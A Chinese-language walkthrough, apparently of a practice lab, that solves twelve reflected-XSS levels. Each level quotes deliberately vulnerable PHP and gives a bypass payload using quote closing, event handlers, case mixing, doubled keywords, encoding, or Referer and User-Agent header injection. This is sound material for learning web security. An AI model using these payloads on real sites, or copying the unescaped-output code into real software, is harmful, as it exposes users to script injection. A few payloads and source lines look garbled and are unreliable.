文章目录
0x01 未过滤
查看关键源码:
GET方式获取参数 name 的值并赋值给 $str,未对 $str 进行任何过滤便插入了 h2 标签里,而参数 name 用户可控,所以存在反射型XSS。
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
构造 payload,重新赋值参数 name:
<script>alert(1)</script>
0x02 构造闭合
查看关键源码:
GET方式获取参数 keyword 的值并赋值给 $str,插入 h2 标签时使用了 htmlspecialchars 函数对 $str 进行了处理(即将预定义的字符转换为 HTML 实体),而插入 input 标签时并未进行任何过滤,由此这里存在 XSS 漏洞。
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
构造双引号的闭合以及标签的闭合,payload 如下:
"><script>alert(1)</script>//
0x03 构造JS事件1
查看关键源码:
与上一关不同的是,两处都使用了 htmlspecialchars 函数进行处理。
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
构造 input 标签的一些特殊事件来执行 JS 代码,且考虑闭合单引号的闭合及标签的闭合,payload 如下:
' onclick=javascript:alert(1) >//
0x04 构造JS事件2
查看关键源码:
GET方式获取参数 name 的值并赋值给 $str,然后使用 str_replace 函数对其进行处理(将 > 和 < 替换为空),得到了 $str3
将 $str 使用 htmlspecialchars 函数进行处理后插入 h2 标签
将 $str3 直接插入了 input 标签
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
由于事件触发不需要用到 > 和 < ,所以可以继续使用上一关的 payload,只是这里考虑的是双引号的闭合,而非单引号
" onclick=javascript:alert(1) >//
0x05 其他标签触发JS事件
查看关键源码:
GET方式获取参数 name 并使用 strtolower 函数转为小写后赋值给 $str,然后使用 str_replace 函数对其进行处理,得到 $str3
( <script 替换为 <scr_ipt,on 替换为 o_n)
将 $str 使用 htmlspecialchars 函数进行处理后插入 h2 标签
将 $str3 直接插入了 input 标签
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
考虑使用 a 标签或其他标签触发事件,构造 payload:
"> <a href=javascript:alert(1) > xss</a> //
0x06 大小写绕过
查看关键源码:
和上一关相比进行了更多的替换操作
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
由于没有使用 strtolower 函数转小写,考虑使用大小写绕过(HTML中对大小写不敏感),payload 如下:
"> <a HrEf=javascript:alert('xss') > xss</a> //
0x07 双写绕过
查看关键源码:
在上一关的基础上,使用了 strtolower 函数转小写,并且替换操作是替换为空。
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
由于替换为空的操作只执行了一次,并非循环,所以考虑双写绕过,payload 如下:
"> <a hhrefref=javascscriptript:alert(1) > xss</a> //
0x08 UNICODE编码绕过1
查看关键源码:
和之前的关卡略有不同,只是将经过 strtolower 和 str_replace 后的 $str7 插入了 a 标签里面。
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
显然,这里大小写和双写都不行,考虑 UNICODE 编码绕过,payload 如下:
原 payload:javascript:alert(1)
编码后:javascript:alert(1)
0x09 UNICODE编码绕过2
查看关键源码:
在上一关的基础上,增加了判断 keyword 参数里是否含有 “http://”
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
只需要在上一关的 payload 后面加上 http:// 即可,但是在UNICODE编码和http://之间需要加上 //,否则不会成功执行弹窗。
javascript:alert(1)//http://
0x10 hidden 输入框
查看关键源码:
与之前的关卡不同,这一关的 input 标签属性被设置为了 hidden,也就是隐藏。
首先是获取参数 keyword 的值赋值给 $str,插入 h2 标签时使用了 htmlspecialchars 函数进行处理,不存在 XSS
然后是获取参数 t_sort 的值赋值给 $str11,通过 str_replace 函数处理后得到 $str33,然后插入名为 t_sort 的 input 标签里,存在 XSS
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
构造 payload 使名为 t_sort 的 input 标签属性由 hidden 变为 text,并且构造事件触发XSS,如下:
?keyword=xxx&t_sort=" type="text" οnclick="alert('xss')
0x11 Referer字段
查看关键源码:
可以看到插入 h2 标签的 $str 和插入名为 t_sort 的 input 标签的 $str00 都使用了 htmlspecialchars 函数进行处理,不存在 XSS
但是观察到名为 t_ref 的 input 标签是直接插入 $str33,而 $str33 的值是 $_SERVER[‘HTTP_REFERER’] 经过 str_replace 处理后得到的
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="" type="text" οnclick=javascript:alert(1)>//" type="hidden">
</form>
</center>';
?>
由此可以抓包,修改 Referer 字段,构造 payload 如下:
" type="text" onclick=javascript:alert(1)>//
0x12 User-Agent字段
查看关键源码:
区别是这一关获取的是 $_SERVER[‘HTTP_USER_AGENT’],上一关获取的是 $_SERVER[‘HTTP_REFERER’] ,其他都一样。
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
抓包,修改 User-Agent 字段,构造 payload 如下:
" type="text" onclick=javascript:alert(1)>//